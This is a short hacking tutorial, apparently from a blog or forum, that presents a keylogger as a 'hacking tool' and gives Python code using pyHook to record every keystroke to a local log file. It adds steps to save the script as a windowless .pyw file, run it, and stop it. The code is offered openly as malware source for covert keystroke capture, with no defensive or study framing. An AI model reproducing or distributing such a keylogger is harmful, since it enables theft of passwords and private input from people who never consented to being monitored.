How To Create a Keylogger using Notepad

//Now, A keylogger is a hacking tool of the newbie, but sometimes highly skilled hackers also use them. These are very easy to create and use. So, let’s learn how to create our free keylogger.//

What is a keylogger?

//Before that, it’s important to know what a keylogger actually is (in case you did not already know). It is a program that records your keystrokes and saves them as a log file either onto a server over a reverse TCP tunnel or on the local machine itself. The server, in this case, is the one hosted by the hacker(you).//

How To Create Keylogger Using Notepad?

*1. Open notepad on your computer and paste the following code in it:👇🏾

import pyHook, pythoncom, sys, logging

feel free to set the file_log to a different file name/location

file_log = 'keyloggeroutput.txt'
def OnKeyboardEvent(event):
logging.basicConfig(filename=file_log, level=logging.DEBUG, format='%(message)s')
chr(event.Ascii)
logging.log(10,chr(event.Ascii))
return True
hooks_manager = pyHook.HookManager()
hooks_manager.KeyDown = OnKeyboardEvent
hooks_manager.HookKeyboard()
pythoncom.PumpMessages()

*2. Save the file as keylogger.pyw (it can be Comptech.pyw)

*3. Fire up your keylogger. Double-click on the file you just created and test it by typing something on ur keyboard.

  1. When you want to stop logging, open up task manager and kill all the “python” processes.

  2. Then look for keyloggeroutput.txt in the same directory were the something.pyw is. Open it up and you should see whatever you typed.

//NOTE: You may see some weird looking character if you open it with notepad , those characters means you hit the backspace key.//

//So this is a simple keylogger that saves the keystrokes on the local machine. You can explore further for more complex keyloggers.//
